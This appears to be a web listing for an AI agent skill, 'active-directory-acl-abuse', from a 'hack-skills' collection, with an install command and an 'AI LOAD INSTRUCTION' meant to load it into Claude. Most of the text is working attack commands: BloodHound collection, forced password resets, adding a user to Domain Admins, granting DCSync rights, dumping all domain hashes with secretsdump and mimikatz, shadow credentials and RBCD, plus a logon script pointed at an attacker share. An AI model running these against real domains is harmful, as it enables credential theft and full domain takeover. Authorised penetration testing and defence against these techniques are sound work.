401-403-bypass-techniq…
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP…
Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.
$ npx -y skills add yaklang/hack-skills --skill active-directory-acl-abuse --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/active-directory-acl-abuseContext preview
The summary Claude sees to decide when to auto-load this skill.
Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.
name: active-directory-acl-abuse description: >- Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.
> **AI LOAD INSTRUCTION**: Expert AD ACL abuse techniques. Covers BloodHound enumeration, dangerous ACEs (GenericAll, WriteDACL, WriteOwner, etc.), DCSync, shadow credentials, targeted kerberoasting, group manipulation, LAPS, and GPO abuse. Base models miss complex ACL chain exploitation and Cypher query patterns.
Before going deep, consider loading:
Also load [BLOODHOUND_PATHS.md](./BLOODHOUND_PATHS.md) when you need:
---
# SharpHound (from Windows, domain-joined) SharpHound.exe -c all --outputdirectory C:\temp --zipfilename bh.zip # bloodhound-python (from Linux) bloodhound-python -d domain.com -u user -p password -c all -dc DC01.domain.com -ns DC_IP # Specific collection methods SharpHound.exe -c DCOnly # Fastest — only DC queries SharpHound.exe -c Session # Session data only (run periodically) SharpHound.exe -c All,GPOLocalGroup # Include GPO analysis
---
| ACE | Effect on Users | Effect on Groups | Effect on Computers | |---|---|---|---| | **GenericAll** | Change password, set SPN, modify attributes | Add members | RBCD, LAPS read, all attributes | | **GenericWrite** | Set SPN, modify attributes, shadow creds | Add members | RBCD, shadow credentials | | **WriteDACL** | Grant yourself any permission | Same | Same | | **WriteOwner** | Take ownership → then WriteDACL | Same | Same | | **ForceChangePassword** | Reset password without knowing old | N/A | N/A | | **AddMember** | N/A | Add self/others to group | N/A | | **AllExtendedRights** | Force change password, read LAPS | N/A | Read LAPS, BitLocker keys | | **ReadLAPSPassword** | N/A | N/A | Read local admin password | | **WriteSPN** | Set SPN → targeted kerberoast | N/A | N/A |
---
# Option 1: Force change password
net user targetuser NewP@ss123 /domain
# Option 2: Targeted Kerberoasting
Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='fake/svc'}
# → Kerberoast, then clear SPN
# Option 3: Shadow Credentials
Whisker.exe add /target:targetuser /domain:domain.com /dc:DC01
# Option 4: Set logon script
Set-DomainObject -Identity targetuser -Set @{scriptpath='\\attacker\share\evil.ps1'}# RBCD attack rbcd.py -delegate-from 'CONTROLLED$' -delegate-to 'TARGET$' -action write DOMAIN/user:pass -dc-ip DC # Shadow Credentials on computer pywhisker.py -d domain.com -u user -p pass --target 'TARGET$' --action add --dc-ip DC
# Grant DCSync rights to yourself Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=com" -PrincipalIdentity lowpriv -Rights DCSync # Impacket dacledit.py -action write -rights DCSync -principal lowpriv -target-dn "DC=domain,DC=com" DOMAIN/lowpriv:pass -dc-ip DC
# Step 1: Take ownership Set-DomainObjectOwner -Identity targetuser -OwnerIdentity lowpriv # Step 2: Grant WriteDACL to yourself (as owner) Add-DomainObjectAcl -TargetIdentity targetuser -PrincipalIdentity lowpriv -Rights All # Step 3: Now exploit as GenericAll
# Impacket rpcclient -U 'DOMAIN/attacker%pass' DC01 -c "setuserinfo2 targetuser 23 'NewP@ss123!'" # PowerView Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString 'NewP@ss123!' -AsPlainText -Force) # net rpc net rpc password targetuser 'NewP@ss123!' -U DOMAIN/attacker%pass -S DC01
# Add self to privileged group Add-DomainGroupMember -Identity "Domain Admins" -Members lowpriv # Impacket net rpc group addmem "Domain Admins" lowpriv -U DOMAIN/attacker%pass -S DC01
---
The principal needs **both** of these replication rights on the domain object:
# Impacket — dump all hashes secretsdump.py DOMAIN/user:password@DC01 -just-dc # Specific account only secretsdump.py DOMAIN/user:password@DC01 -just-dc-user krbtgt # Mimikatz lsadump::dcsync /domain:domain.com /user:krbtgt lsadump::dcsync /domain:domain.com /all /csv # Impacket with Kerberos auth export KRB5CCNAME=admin.ccache secretsdump.py -k -no-pass DC01.domain.com -just-dc
---
Write `msDS-KeyCredentialLink` on target → generate certificate → authenticate via PKI
Master Entry → Category Entries → Deep Topic Skills One master entry, six category entries, and 102 deep topic skills across 14 security domains.
Repo: yaklang/hack-skills
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP…
AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to…
Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets,…
AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing,…
Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent…
Anti-debugging detection and bypass playbook. Use when reversing protected binaries that detect debuggers via ptrace, PEB flags, timing checks, or…